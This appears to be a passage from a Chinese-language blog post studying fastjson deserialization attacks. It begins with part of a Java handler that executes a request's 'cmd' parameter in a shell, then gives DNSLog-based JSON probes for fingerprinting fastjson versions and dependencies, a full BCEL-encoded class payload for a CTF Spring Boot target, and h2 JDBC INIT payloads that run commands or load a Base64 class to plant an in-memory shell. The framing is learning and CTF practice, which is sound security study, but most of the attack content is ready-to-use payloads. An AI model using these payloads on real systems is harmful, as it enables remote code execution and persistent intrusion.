        String cmd = (String) m.invoke(request, "cmd");
        if(cmd == null){
            cmd = "id";
        }
        String[] cmds = {"sh", "-c", cmd};
        String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();

        InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("f111111ag.txt");;
        output = new Scanner(inputStream).useDelimiter("\\A").next();

        m = response.getClass().getMethod("getWriter");
        PrintWriter printWriter = (PrintWriter) m.invoke(response);
        printWriter.println(output);
        printWriter.flush();
        printWriter.close();

    }

}

探測fastjson

abc123info大佬的分析:https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484332&idx=1&sn=c787dd0985156d856aad03d56a945be4&scene=19#wechat_redirect

淺藍的2022Kcon議題

以下檢測方法都沒有實際檢測過

探測fastjson使用的類:使用的都是URL,DNS之類的類java.net.Inet6Addressjava.net.URL 並且 它們都在白名單中

關於DNS的判斷:無dns請求記錄並不能說明目標一定是無漏洞版本,很有可能是目標未配置dns,無網在實際場景中出現頻率也很高

鑑別是否使用fastjson

DNSLog鑑別fastjson

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
{{"@type":"java.net.URL"."val":"http://dnslog.com"}:"a"}

回顯鑑別fastjson

{“c”:{“@type”:”java.net.Inet6Address”,”val”:”127.0.0.1”}}

有回顯基本可確認是fastjson,Inet6Address是個全版本都可使用的鏈。

解析鑑別fastjson

{"a":new a(1),"b":x'11',/**/"c":Set[{}{}],"d":"\u0000\x00"}
//變化為以下可證明是fastjson
{"a":1,"b":"EQ==","c":[{}],"d":"\u0000\u0000"}

{"ext":"blue","name":{"ref":"$.ext"}}
//變化為以下可證明是fastjson
{"ext":"blue","name":"bulue"}

響應鑑別fastjson

["@type":"whatever"]

響應為:com.alibaba.fastjson.JSONException:autoType is not support whatever 可證明其是fastjson

1.2.24以上的版本探測

返回異常,證明版本>1.2.24

 {“c”:{“@type”:”xx”}}

1.2.47版本及以下探測

如果Dnslog能檢測到說明fastjson屬於1.2.47及以下的版本

[
    {"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},
    {"@type":"java.io.ByteArrayOutputStream"},
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
]

如果Dnslog能檢測到說明fastjson屬於1.2.47及以下的版本。

{“c”:{“@type”:”java.net.InetAddress”,”val”:”asd.bayebz.dnslog.cn”}}

如果環境不出網或者無dns伺服器無法解析域名,可以透過ip(也就是利用InetAdress探測),返回正常證明fastjson<1.2.48

{“c”:{“@type”:”java.net.InetAddress”,”val”:”127.0.0.1”}}

1.2.68版本探測

如果Dnslog能檢測到說明1.2.68版本

[
    {"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"},
    {"@type":"java.io.ByteArrayOutputStream"},
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
]

1.2.80和1.2.83版本

如果Dnslog能檢測到一次Dns請求就是1.2.80 二次就是1.2.83

[
    {"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"frist.dnslog.com"}}}
    {"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"second.dnslog.com"}}}
]

不出網檢測(bushi

{"c":{"@type":"java.lang.Class","val":"javax.swing.JEditorPane"},"d":{"@type":"javax.swing.JEditorPane","page":"http://host/a"}}

異常回顯探測精確版本號

這個探測應該有版本範圍限制,不是每個版本都這樣

{"@type":"java.lang.AutoCloseable"

syntax error,expect{,actual EOF,pos0,fastjson-version 1.2.76

探測依賴環境

回顯探測依賴環境

{"@type":"java.lang.Class","val":"java.net.http.HttpClient"}

返回Class not found則表示沒有該依賴

返回Class exists則表示存在該依賴

  • java11:java.net.http.HttpClient
  • mysql:com.mysql.jdbc.Driver
  • groovy:groovy.lang.GroovyShell
  • .....

報錯回顯探測依賴庫image-20230110223107988

spring中的fastjson

在Spring中整合fastjson可能和平時的JSON#parse有所不同:參考在 Spring 中整合 Fastjson,以下以Springboot為例進行學習

Springboot專案在解析json的時候預設使用的是jackson轉換器MappingJackson2HttpMessageConverter。想要在Springboot中整合fastjson,需要按照如下方式修改配置

@Configuration
public class SpringMvcConfig implements WebMvcConfigurer {
    @Override
    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {
        //移除轉換器
        Iterator<HttpMessageConverter<?>> iterator = converters.iterator();
        while(iterator.hasNext()){
            HttpMessageConverter<?> converter = iterator.next();
            if(converter instanceof MappingJackson2HttpMessageConverter){
                iterator.remove();
            }
        }
        //新增fastjson轉換器
        FastJsonHttpMessageConverter fastJsonHttpMessageConverter = new FastJsonHttpMessageConverter();
        converters.add(fastJsonHttpMessageConverter);
    }
    @Override
    public void extendMessageConverters(List<HttpMessageConverter<?>> converters) {
        //列印轉換器排錯
        for (HttpMessageConverter<?> converter:converters){
            System.out.println(converter);
        }
        WebMvcConfigurer.super.extendMessageConverters(converters);
    }
}

以下使用N1CTF中的例子進行簡單的學習

package com.example.fastjsonstudy;

public class User {

    private String username;
    private String password;
    private Object friend;

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public Object getFriend() {
        return friend;
    }

    public void setFriend(Object friend) {
        this.friend = friend;
    }

}

簡單的寫一個路由,

@Controller
public class HelloController {
    @ResponseBody
    @PostMapping(value = {"/api/login"}, produces="application/json;charset=UTF-8")
    public String doLogin(@RequestBody User user){
        System.out.println(user);
        return user.toString();
    }
}

POST方式向後端傳入的json字串會直接被FastJsonHttpMessageConverter處理轉換為user例項物件,同時SpringBoot中的fastJsonHttpMessageConverter與普通的JSON.parse也存在一定的不同,對Springboot進行debug可以發現,它會將User類作為期望類然後進行反序列化image-20230113155157441

DefaultJSONParser#parse(Type type, Object fieldName) 中會根據Type選擇出反序列化器然後deserialze

  @SuppressWarnings("unchecked")
    public <T> T parseObject(Type type, Object fieldName) {
        int token = lexer.token();
        if (token == JSONToken.NULL) {
            lexer.nextToken();
            return null;
        }

        if (token == JSONToken.LITERAL_STRING) {
            if (type == byte[].class) {
                byte[] bytes = lexer.bytesValue();
                lexer.nextToken();
                return (T) bytes;
            }

            if (type == char[].class) {
                String strVal = lexer.stringVal();
                lexer.nextToken();
                return (T) strVal.toCharArray();
            }
        }

        ObjectDeserializer derializer = config.getDeserializer(type);

        try {
            return (T) derializer.deserialze(this, type, fieldName);
        } catch (JSONException e) {
            throw e;
        } catch (Throwable e) {
            throw new JSONException(e.getMessage(), e);
        }
    }

一般json傳輸的類都是程式設計師自己寫的介面類,所以會進入JavaBeanDeserializer#deserialze進行反序列化。進一步會根據Field型別選擇對應的反序列化器,String型別的反序列化器為StringCodec,Object型別的反序列化器為JavaBeanDeserializer。JavaBeanDeserializer#deserialze可以反序列化list,所以需要將惡意的payload放在friend部分

{
    "friend": [{
            "@type": "java.lang.Class",
            "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type": "java.lang.Class",
            "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
        },
        {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
            "x": {
                {
                    "@type": "com.alibaba.fastjson.JSONObject",
                    "c": {
                        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                        "driverClassLoader": {
                            "$ref": ".."
                        },
                        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$Xn$m$$$I$qDXD$R$9c$a7$c3$a8$M$84$a4J$a7$a8o$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$jK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$a6$8a$95$deb$c8VW$ce$Y$9c$ed$e4B2$94B$V$cb$c3$ceMC$a6$a7$bc$R$91R$O$T$c1$a33$9e$w$T$7f$8a$8e$beTmb$84$3b$b7$w$da$60$f06E$f4$89c$94$ae$84W$fc$96$d7TR$db$3b$da$e9$K$d9$d2$w$89$a9$acX$d7$5c$5c$l$f0$96$c5$d0F$M$7e$3d$e9$a4B$ee$w$83$z$Y$dc$9a$e9$NP$80$efb$s$c0$y$e6h$k$ad$m$C$ccc$81a$e0$lv$80E$f8Tf$fa$Z$falE$c4$e3f$ed$a8q$r$85f$e8$ff$91N$3a$b1V74$cdoJ$fd$jT$aa$x$e1$9f$gZ$d9$91$5d$v$Y$96$ab$bf$b2u$9d$aa$b8$b9$f1$bb$e18M$84l$b7$a9$a1$d4$a2$a4$b6$87$9e$a6$5cH$3a$c0$a5$9fa$9e$M$989$8bl$PE5$f2$8c$7cn$f5$R$ec$de$a6$D$b2y$xfQ$q$h$7c$U$a0$X$r$f2$k$fa$be$9b$b9$85$B$e5$td$ca$d9$H8$e7w$f0$f6W$l$90$bf$b7z$81zsD1$c4$n$fa2$dc$82U$5d$o$7b$e8$t$d2$d7$84$o$i$8a$cb$U$N$d0$eb$o$T$ba$Yt$uQ$b1K$N$bd$DY$a1$d4$95V$C$A$A"
                    }
                }: "x"
            }
        }
    ],
    "username": "asd",
    "password": "asd"
}

最後也是可以成功彈出計算器的image-20230113175004555

fastjson和JDBC Attack

Make JDBC Attack Brilliant

看到yulegeyu師傅的文章中有關於h2資料庫的攻擊,藉機來學一學h2 RCE。文章中提到的環境大致是fastjson<=1.2.47並且存在h2的依賴,在出網/不出網該如何進行RCE?

fastjson可以呼叫"getter"方法這是毋庸置疑的。而JDBC是Java提供的一個標準介面,用於連線資料庫進而對資料庫操作,各種資料庫引擎會實現這個介面編寫自己的JDBC implement,該實現通常被稱為JDBC Driver。image-20230114195556631

常見的JDBC使用方法是在配置檔案中寫好JDBC使用的引擎,以及連線資料庫的URL,如:

// JDBC連線的URL, 不同資料庫有不同的格式:
String JDBC_URL = "jdbc:mysql://localhost:3306/test";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";
// 獲取連線:
Connection conn = java.sql.DriverManager.getConnection(JDBC_URL, JDBC_USER,JDBC_PASSWORD);
// TODO: 訪問資料庫...
// 關閉連線:
conn.close();

JDBC一般會出現在後臺修改資料庫配置、測試資料庫連線等,使用者可以控制JDBC中的URL,URL中的每個引數都有這特殊的用途。故當URL可控時就有安全問題。

  • MySQL
  • H2 Database
  • Postgresql
  • ....

h2 RCE

回到主題,因為fastjson可以對"getter"方法進行呼叫,我們想是否可以在fastjson自身的RCE無法使用時,利用fastjson和h2的getConnection來觸發JDBC Attack從而RCE

org.h2.jdbcx.JdbcDataSource#getConnection

public Connection getConnection() throws SQLException { 
        this.debugCodeCall(“getConnection”); 
        return this.getJdbcConnection(this.userName,StringUtils.cloneCharArray(this.passwordChars)); //呼叫getJdbcConnection 
}

org.h2.jdbcx.JdbcDataSource#getJdbcConnection

    private JdbcConnection getJdbcConnection(String var1, char[] var2) throws SQLException {
        if (this.isDebugEnabled()) {
            this.debugCode("getJdbcConnection(" + quote(var1) + ", new char[0]);");
        }

        Properties var3 = new Properties();
        var3.setProperty("user", var1);
        var3.put("password", var2);
        Connection var4 = Driver.load().connect(this.url, var3);
        if (var4 == null) {
            throw new SQLException("No suitable driver found for " + this.url, "08001", 8001);
        } else if (!(var4 instanceof JdbcConnection)) {
            throw new SQLException("Connecting with old version is not supported: " + this.url, "08001", 8001);
        } else {
            return (JdbcConnection)var4;
        }
    }

關於h2 RCE的姿勢p神記錄的很詳細從JDBC到h2任意命令執行,我這裡僅記錄yulegele師傅文章中提到的INIT執行多條命令

h2中支援的命令 中可以找到關鍵的幾個

  • CREATE ALIAS:建立使用者自定義的函式或者為函式起別名
  • CREATE TRIGGER:建立觸發器
  • CALL express:計算express表示式,可以是簡單的運算,也可以是函式的呼叫
  • RUNSCRIPT FROM 'xxx.sql':執行包含SQL語句的指令碼,也支援URL來鎖定sql檔案

我們可以使用CREATE ALIAS來建立一個shell函式,然後使用CALL express來呼叫它:(因為h2使用純Java來寫的所以可以使用Java來命令執行

CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';
SELECT EXEC('cmd /c calc.exe');

h2中的URL引數 中可以找到用於在連線時執行SQL語句的INIT引數,並且在官網的例項來看其也可以連續執行多條SQL語句

jdbc:h2:<url>;INIT=RUNSCRIPT FROM '~/create.sql'
jdbc:h2:file:~/sample;INIT=RUNSCRIPT FROM '~/create.sql'\;RUNSCRIPT FROM '~/populate.sql'

這裡需要注意h2的url中;是作為引數連線符存在的,所以sql語句中出現的;需要轉義

public class Main {
    public static void main(String[] args) throws SQLException {
        JdbcDataSource jdbcDataSource = new JdbcDataSource();
        String payload = "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('calc')\\;";
        jdbcDataSource.setUrl(payload);
        jdbcDataSource.getConnection();
    }
}

最後文章中使用$ref或者JSONObject呼叫特殊的"getter"方法

[
	{
		"@type":"java.lang.Class",
		"val":"org.h2.jdbcx.JdbcDataSource"
	},
	{
		"@type":"org.h2.jdbcx.JdbcDataSource",
		"url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"
	},
	{
		"$ref":"$[1].connection"
	}
]

如果需要載入記憶體馬可以使用defineClass

[
	{
		"@type":"java.lang.Class",
		"val":"org.h2.jdbcx.JdbcDataSource"
	},
	{
		"@type":"org.h2.jdbcx.JdbcDataSource",
		"url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"byteCodes\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;"
	},
	{
		"$ref":"$[1].connection"
	}
]

相關文章